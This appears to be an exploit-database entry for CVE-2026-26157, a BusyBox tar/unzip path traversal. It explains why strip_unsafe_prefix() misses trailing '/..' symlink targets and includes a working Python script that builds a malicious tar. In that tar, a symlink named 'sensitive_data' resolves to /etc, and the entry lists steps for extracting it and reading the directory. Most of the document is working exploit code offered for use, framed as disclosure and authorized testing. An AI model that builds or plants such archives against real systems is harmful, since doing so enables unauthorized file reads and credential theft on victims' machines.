BusyBox 1.37.0 – Path Traversal
# Exploit Title: BusyBox 1.37.0 - Path Traversal # Google Dork: N/A # Date: 2026-02-11 # Exploit Author: Calil Khalil # Vendor Homepage: https://busybox.net # Software Link: https://busybox.net/downloads/ # Version: BusyBox 1.36.1, 1.37.0 # Tested on: Ubuntu 22.04 LTS, Alpine Linux 3.19 # CVE: CVE-2026-26157 """ BusyBox Path Traversal Vulnerability (CVE-2026-26157) Description: BusyBox archive extraction utilities fail to properly sanitize symlink targets containing trailing ".." components. The strip_unsafe_prefix() function in archival/libarchive/unsafe_prefix.c uses strstr(cp, "/../") which only matches the 4-character pattern and misses 3-character trailing "/.." sequences. This allows an attacker to craft malicious archives with symlinks pointing to arbitrary filesystem locations, enabling information disclosure through symlink traversal. Affected Components: - tar (primary vector) - unzip - rpm - ar Impact: - CVSS Score: 7.8 (HIGH) - Arbitrary file read via symlink traversal - Information disclosure - Credential theft Root Cause: archival/libarchive/unsafe_prefix.c:23 The pattern matching in strip_unsafe_prefix() fails on trailing ".." paths: cp2 = strstr(cp, "/../"); // Only matches "/../", misses "/pam.d/.." if (!cp2) break; Attack Scenario: 1. Attacker creates TAR archive with symlink: sensitive_data -> /etc/pam.d/.. 2. Victim extracts archive using BusyBox tar 3. Symlink created without sanitization 4. Symlink resolves to /etc directory 5. Application reading 'sensitive_data' exposes /etc contents References: - https://github.com/calilkhalil/research - Red Hat CNA Case: INC3907198 """ import tarfile import sys import os def create_exploit(): """ Creates a malicious TAR file exploiting CVE-2026-26157. The archive contains a symlink with an unsanitized target that resolves outside the extraction directory. """ exploit_file = 'CVE-2026-26157_exploit.tar' try: with tarfile.open(exploit_file, 'w') as tar: # Create symlink with trailing ".." in target path # This bypasses strip_unsafe_prefix() pattern matching info = tarfile.TarInfo('sensitive_data') info.type = tarfile.SYMTYPE info.linkname = '/etc/pam.d/..' # Resolves to /etc tar.addfile(info) print(f"[+] Exploit created: {exploit_file}") print(f"\n[*] Exploitation steps:") print(f" 1. mkdir test_extraction && cd test_extraction") print(f" 2. busybox tar xf ../{exploit_file}") print(f" 3. readlink -f sensitive_data") print(f" Expected output: /etc") print(f" 4. ls sensitive_data/") print(f" Result: Lists /etc directory contents") print(f"\n[!] Impact: Arbitrary directory read via symlink traversal") print(f"[!] CVSS: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)") return exploit_file except Exception as e: print(f"[-] Error creating exploit: {e}") sys.exit(1) def show_technical_details(): """Display technical analysis of the vulnerability""" print("\n" + "="*70) print("TECHNICAL ANALYSIS - CVE-2026-26157") print("="*70) print("\nVulnerable Function:") print(" archival/libarchive/unsafe_prefix.c:strip_unsafe_prefix()") print("\nVulnerable Code Pattern:") print(" cp2 = strstr(cp, \"/../\"); // Only matches 4-char sequence") print(" if (!cp2) break;") print("\nBypass Technique:") print(" Path: /etc/pam.d/..") print(" Pattern check: strstr(\"/etc/pam.d/..\", \"/../\") -> NULL") print(" Result: Sanitization bypassed, symlink created with original target") print("\nExploitation Flow:") print(" 1. Archive contains: symlink 'sensitive_data' -> '/etc/pam.d/..'") print(" 2. get_header_tar() extracts symlink metadata") print(" 3. Symlink target NOT sanitized (bypass detected)") print(" 4. data_extract_all() creates symlink with '/etc/pam.d/..'") print(" 5. Target resolves: /etc/pam.d/.. -> /etc") print(" 6. Reading 'sensitive_data' = reading /etc") print("="*70 + "\n") if __name__ == "__main__": print("="*70) print("BusyBox Path Traversal Exploit - CVE-2026-26157") print("Author: Calil Khalil") print("="*70) # Display technical analysis show_technical_details() # Create exploit exploit_file = create_exploit() print("\n[*] Mitigation:") print(" - Update BusyBox to patched version") print(" - Patch applies strip_unsafe_prefix() to symlink targets") print(" - Do not extract untrusted archives with elevated privileges") print("\n[*] For educational and authorized testing purposes only") |